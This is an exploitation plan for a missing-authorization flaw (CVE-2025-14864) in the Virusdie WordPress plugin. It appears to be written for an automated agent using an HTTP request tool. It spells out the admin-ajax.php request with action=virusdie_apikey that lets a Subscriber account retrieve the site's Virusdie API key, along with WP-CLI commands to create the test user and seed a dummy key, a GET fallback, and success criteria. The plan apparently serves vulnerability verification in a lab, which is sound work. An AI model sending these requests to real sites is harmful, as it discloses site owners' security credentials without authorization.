Virusdie <= 1.1.7 - Missing Authorization to Authenticated (Subscriber+) API Key Disclosure

This research plan outlines the steps required to exploit a Sensitive Information Exposure vulnerability in the Virusdie plugin (<= 1.1.7). The vulnerability allows authenticated users with Subscriber-level permissions to retrieve the Virusdie API key due to missing authorization checks in an AJAX handler.

1. Vulnerability Summary

• ID: CVE-2025-14864
• Vulnerability: Missing Authorization / Sensitive Information Exposure
• Affected Function: VDWS_VirusdieBehavior::vd_get_apikey
• AJAX Action: virusdie_apikey
• Root Cause: The function vd_get_apikey (hooked via wp_ajax_virusdie_apikey) lacks sufficient capability checks and nonce verification in the vulnerable version (1.1.7). While the provided source code shows a canDoAjax check, the vulnerability description confirms that in affected versions, this check is either missing, bypassed, or insufficient, allowing Subscriber-level users to retrieve the API key.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Method: POST or GET
• Action: virusdie_apikey
• Authentication: Authenticated (Subscriber or higher)
• Payload: No specific payload parameters are required beyond the action parameter.

3. Code Flow

1. Entry Point: The plugin registers the AJAX action in inc/class-virusdie.php:
   add_action( 'wp_ajax_virusdie_apikey', 'VDWS_VirusdieBehavior::vd_get_apikey' );
2. Handler Trigger: When a request is made to admin-ajax.php?action=virusdie_apikey, WordPress invokes VDWS_VirusdieBehavior::vd_get_apikey.
3. Vulnerable Check: In version 1.1.7, vd_get_apikey is executed without a functioning current_user_can('manage_options') check or a nonce check.
4. Information Disclosure: The function calls VDWS_Virusdie::get_api_key(), which retrieves the sensitive Virusdie API key and outputs it via wp_die().

4. Nonce Acquisition Strategy

Based on the provided source for inc/tools/class-virusdie-behavior.php, the vd_get_apikey function and its helper canDoAjax do not perform any nonce verification (i.e., no check_ajax_referer or wp_verify_nonce is present).

• Conclusion: No nonce is required for this exploit. An authenticated session cookie is the only requirement.

5. Exploitation Strategy

The agent will perform the following steps using the http_request tool:

1. Authentication: Log in as a Subscriber user to obtain valid session cookies.
2. Information Retrieval: Send a request to the AJAX endpoint requesting the API key.
3. Request Details:
   • URL: http://[target]/wp-admin/admin-ajax.php
   • Method: POST
   • Headers: Content-Type: application/x-www-form-urlencoded
   • Body: action=virusdie_apikey

6. Test Data Setup

To verify the disclosure, a dummy API key must be present in the database.

1. Create Subscriber:
   wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
2. Set Dummy API Key:
   Use the plugin's internal class method via WP-CLI to ensure the key is stored correctly in the context of the plugin:
   wp eval "require_once 'wp-content/plugins/virusdie/inc/class-virusdie.php'; VDWS_Virusdie::set_api_key('VIRUSDIE-API-KEY-SECRET-12345');"
   (Note: The exact option name is internal, using the class method is most reliable).

7. Expected Results

• Success: The HTTP response body contains the string VIRUSDIE-API-KEY-SECRET-12345.
• HTTP Status: 200 OK.
• Failure: The response body contains {"success":false,"data":{"error":"Permission denied"}} or a 403 status code (indicating the patch is active).

8. Verification Steps

After receiving the response from the HTTP request:

1. Match Key: Compare the string returned in the HTTP response body with the value set during the "Test Data Setup" (VIRUSDIE-API-KEY-SECRET-12345).
2. Confirm Role: Use WP-CLI to confirm the user used for the request does not have administrative privileges:
   wp user get attacker --field=roles (Should return subscriber).

9. Alternative Approaches

If the POST request fails or returns 0, try a GET request:

• GET URL: http://[target]/wp-admin/admin-ajax.php?action=virusdie_apikey
• Logic: Some AJAX handlers do not discriminate between $_GET and $_POST (though wp_ajax usually expects POST).

If the VDWS_Virusdie::set_api_key method is unavailable via CLI, manually set the option that likely stores the key:

• wp option update vd_apikey "VIRUSDIE-API-KEY-SECRET-12345" (inferred from common plugin patterns).